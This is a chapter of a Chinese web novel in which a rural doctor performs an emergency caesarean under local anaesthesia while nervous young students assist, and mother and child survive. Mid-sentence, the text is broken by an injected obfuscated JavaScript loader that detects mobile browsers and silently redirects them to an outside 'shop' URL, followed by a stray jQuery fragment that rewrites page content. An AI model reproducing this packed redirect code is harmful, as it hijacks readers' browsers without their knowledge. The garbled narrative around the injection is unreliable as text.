后面这个问题好回答,前面这个……
他一大早就去上工了,这不是临近到中午头回家吃饭,才发现媳妇不太对劲吗?
“媳妇说要生了,让我去找汤婆子……”
南越看他罗里吧嗦,正要问产妇,余光看到卢医生面色沉重。
“肚子疼吗?”
躺在病床上的人头发贴在脸上,声音都透着虚弱,“疼,疼得厉害。”
“大概率胎盘早剥。”卢鹤鸣拧着眉头。
这种情况,即便是在省城第一人民医院,妇产科的医生们都不想见到。
更别提是在这几乎什么都没有的乡下。
他的医药箱里虽然也有麻醉药和必备的手术器械。
但这个才粉刷好的手术室,简直是一穷二白最真实的写照。
甚至于他连个助手都没有。
几个学生此刻脸上有不安和恐惧。
他们连给他做助手怕是都不能胜任。
“产妇情况很不好,我必须立刻给她做剖宫产手术,但我不是妇产科医生,在这方面没有那么多的经验。”
男人一下子愣住,下意识的抓住卢鹤鸣的胳膊,“您是大夫啊,大夫您得救救她跟孩子。”
赶过来的陶主任一把将人拉开,“行了你别耽误医生救人,你们把他给我弄出去。”
陈国庆和马振邦当即把人给架出去。
陶主任看了眼病床上躺着的人。
“卢医生,她情况很危险?”
“大概率胎盘早剥,现在必须终止妊娠,极小概率能自然顺产,我可能需要为她做剖宫产,如果运气好赶在大出血前,兴许还能救下她的性命。”
他甚至不敢担保现在孕妇肚子里的孩子是否还有呼吸。
能够保住孕妇的命就已经是老天保佑了。
陶主任皱了下眉头,当即作出决定,“你来处理,尽量保全大人和孩子。”
他很想要卢鹤鸣把莲花公社的卫生院搞起来。
可如果初来乍到就出现抢救不成功的事。
只怕卢医生在几个学生面前也很难树立威信。
“你们几个听卢医生的安排。”
说着陶主任喊了起来,“小楼,把我昨天从县医院里弄来的东西拿过来。”
他本来还想着先看看卢鹤鸣的真本事,到时候再把东西给人。
现在都这情况了,哪还敢藏着掖着啊。
卢鹤鸣立马做安排,“热水洗手,把这些手术器械也用热水烫一遍。”
他的接生经验还是在非洲那边积攒的,条件比现在更糟糕。
遇到了形形色色的情况。
回国后也没想到自己有朝一日竟然会又客串起产科医生的角色。
早知道这样,当时就该去多去产科观摩学习。
但现在……
“呕。”
夏静秋第一时间捂住了嘴,但控制不住的发出声音。
甚至还在接连发出。
而这种紧张,也传染给了黄杨。
南越稍微好点,但也没强到哪里去。
她有那么点晕血的小毛病。
但可以克服。
尤其是在两位女知青先后跑出去干呕后,手术室里能帮忙的就只剩下她一个人了。
哦,还有拎着热水进来的李麦冬。
看着两位学生,卢鹤鸣又交代一遍,“没问题的话先来帮我热水消毒这些器械。”
南越听他吩咐,将手术剪刀、手术刀、止血钳一一丢进热水盆里。
没有条件,只能这么简单处理。
卢鹤鸣轻轻掀开产妇的衣服,观察且轻碰产妇的腹部。
在轻轻按压下,病床上的人又发出惨叫声,“疼,疼死俺了。”
卢鹤鸣当即道:“子宫板状硬,腹部轮廓偏大,可能内部有血肿。把麻醉药给我,棕色玻璃瓶那个,进行局麻。”
南越记下瓶身上的名字,“普鲁卡因。”
李麦冬听她念出声来,后知后觉的意识到,南越这是不是在告诉自己啊。
但他来不及多想,因为卢医生喊了他名字,“为孕妇进行皮肤消毒,具体消毒位置,下腹部肚脐往下到耻骨上方。”
怕李麦冬不知道耻骨是哪里,卢鹤鸣指了指,手指距离孕妇的下腹部一小段距离,虚空画了一圈,“记住没?”
李麦冬连忙应下。
南越也点头记住剖宫产时的皮肤消毒位置。
“碘酒从内向外涂擦,先等它自然晾干。”
孕妇疼得厉害,在扭动。
碘酒擦的位置有些越界。
李麦冬:“卢医生她老动。”
“黄杨夏静秋进来帮忙控制住孕妇,马振邦陈国庆你们也一块进来。”
因为只能局麻,甚至他不敢保证局麻效果。
需要人帮忙控制住孕妇的手脚,避免因为疼痛扭动,导致手术出现问题。
“我婆娘她要不要紧?”
这个问题陈国庆回答不了。
他又不是医生!
本来离开手术室还挺好,谁知道现在又被叫进去了。
看着躺在病床上的人,如果换作其他时候,他说不定会多看两眼。
但这是个孕妇啊。
陈国庆闭眼按住孕妇的腿。
其他几人也有样学样。
南越有些无语,你们好歹看看卢医生怎么操作的啊。
但想到自己内核是个老油条,而这几人都是二十岁左右的小年轻,她瞬间释然。
她趁机学习积攒经验才是关键。
但很快南越就发现,看了也记不住。
她以为的局麻,打一针就好了。
谁知道这跟剥洋葱似的,要一针又一针。
先是皮内浸润,然后又皮下浸润。
前面南越还能记住,用的是5号细针头,先打出一道皮内小皮丘,皮肤鼓起发白为准。
可后面边进针边推注普卡,要分层麻醉皮肤层、皮下脂肪层还有什么,南越已经记不清了。
再后面还有深
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517838|203242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
层腹膜外浸润,又是在什么位置做弧形还是扇形注药,她真的分不清。
晕血是不晕血了。
她开始晕知识。
卢鹤鸣余光瞥见两眼有些发白的南越,倒也不奇怪,毕竟这孩子一点医学常识都没有,记不住这些很正常。
他在耐心等待麻醉起效果。
四分钟后,卢鹤鸣用针头轻轻扎了下手术区域的皮肤。
“疼吗?”
这次孕妇没再喊疼,只是摇头。
卢鹤鸣再度确认,然后吩咐南越,“手术刀片。”
已经热水消毒的手术刀片递到了卢鹤鸣手中。
“压住。”
这话是吩咐分别按压着孕妇手脚的四个学生。
尽管进行局部麻醉,但只作用于腹壁皮肉和筋膜,此刻孕妇是清醒的,接下来能清楚的感受到腹腔内的牵拉。
这就要求他下刀要快,掏出胎儿的动作也要极快。
唯独如此,才能减少产妇的痛苦。
南越也不知道自己哪来的勇气,盯着卢医生下刀,甚至看他就着切口徒手撕开孕妇的肚子。
她好像嗅到了血腥味。
眼前晕了一下,但下一秒,南越狠狠咬了下手臂,让自己脑子清醒过来。
暗红色的血水在往外冒,血腥味恨不得浸透这间简陋的手术室。
但她却从卢医生脸上看到些许放松。
大概是因为这个剖宫产做的还算及时?
也不知道他又对哪里动了刀子,很快就看到被他双手托出来的婴儿。
“纱布轻擦拭婴儿口鼻处的黏液,拍打足底刺激呼吸。”卢鹤鸣吩咐着,他没空做这些,因为必须抓紧把胎盘剥离,清理宫腔内的淤血和残留组织。
尽管这一过程让产妇再度面无血色,痛声连连。
但到底没有大出血。
且母子平安。
南越适才的拍打引来孩子孱弱的哭声。
新的、脆弱的生命在她手里发出啼哭,是这个孩子对这个世界的第一声招呼。
这是一种极为奇妙的感觉。
选择做医生,可真是一个再伟大不过的选择。
但下一秒,南越看着床单上的血污,眼前一黑,踉跄了两步。
卢鹤鸣伸手扶住她,看她脸色苍白没比孕妇好到哪里去,他忽然间想到什么,“你晕血?”
“没有!”南越嘴犟,她要是真晕血,早就晕倒了。
这不是大问题,可以克服的。
想想新生命的诞生,想想救死扶伤。
没有什么不可以克服!
她今天不就表现的很好吗?
南越给自己找理由,“第一次见到这种手术,有些后怕。”
卢鹤鸣保住母子性命,心情也轻松不少,看着南越嘴犟的样子,他心情很好的跟这个年轻女娃开起了玩笑,“没什么可怕的,既然不是晕血,那你来跟我检查胎盘。”
南越:“……”
她现在说自己晕血,还来得及吧。